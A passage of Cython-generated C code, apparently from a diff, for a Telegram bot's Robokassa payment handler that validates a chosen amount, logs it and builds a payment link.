__PYX_ERR(0, 131, __pyx_L8_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(__pyx_t_6)) { + + /* "handlers/payments/robokassa_pay.py":132 + * amount = int(amount_str) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_ValueError, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L8_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_Raise(__pyx_t_1, 0, 0, 0); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __PYX_ERR(0, 132, __pyx_L8_error) + + /* "handlers/payments/robokassa_pay.py":131 + * try: + * amount = int(amount_str) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * except ValueError as e: + */ + } + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L13_try_end; + __pyx_L8_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":133 + * if amount <= 0: + * raise ValueError(" .") + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 133, __pyx_L10_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":134 + * raise ValueError(" .") + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = PyTuple_New(4); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 29; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_kp_u__12); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 10; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_kp_u__13); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_13, 3, __pyx_t_16); + __pyx_t_16 = 0; + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 4, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_16}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":135 + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__14}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L22_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L20_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 135, __pyx_L20_error) + } + } + + /* "handlers/payments/robokassa_pay.py":136 + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L19_return; + } + + /* "handlers/payments/robokassa_pay.py":133 + * if amount <= 0: + * raise ValueError(" .") + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + */ + /*finally:*/ { + __pyx_L20_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_12 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L10_except_error; + } + __pyx_L19_return: { + __Pyx_PyThreadState_assign + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_25 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_25; + __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_20, __pyx_t_19); + } + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_24, __pyx_t_23, __pyx_t_22); + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + goto __pyx_L11_except_return; + } + } + } + goto __pyx_L10_except_error; + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + __pyx_L10_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L1_error; + __pyx_L11_except_return:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L0; + __pyx_L13_try_end:; + } + + /* "handlers/payments/robokassa_pay.py":138 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") + * inv_id = 0 + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L27_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 138, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 138, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":139 + * + * await state.update_data(amount=amount) + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") # <<<<<<<<<<<<<< + * inv_id = 0 + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_7 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_chat); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_16, __pyx_n_s_id); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_4, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u_selected_amount); + __pyx_t_7 += 18; + __Pyx_GIVEREF(__pyx_kp_u_selected_amount); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_selected_amount); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_7 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u__6); + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_2, 5, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_16}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":140 + * await state.update_data(amount=amount) + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") + * inv_id = 0 # <<<<<<<<<<<<<< + * + * tg_id = callback_query.message.chat.id + */ + __pyx_cur_scope->__pyx_v_inv_id = 0; + + /* "handlers/payments/robokassa_pay.py":142 + * inv_id = 0 + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":143 + * + * tg_id = callback_query.message.chat.id + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) # <<<<<<<<<<<<<< + * + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_generate_payment_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyInt_From_long(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_amount, __pyx_t_16, __pyx_kp_u__15, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 4+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":145 + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_URL_for_user); + __pyx_t_7 += 21; + __Pyx_GIVEREF(__pyx_kp_u_Payment_URL_for_user); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_Payment_URL_for_user); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + 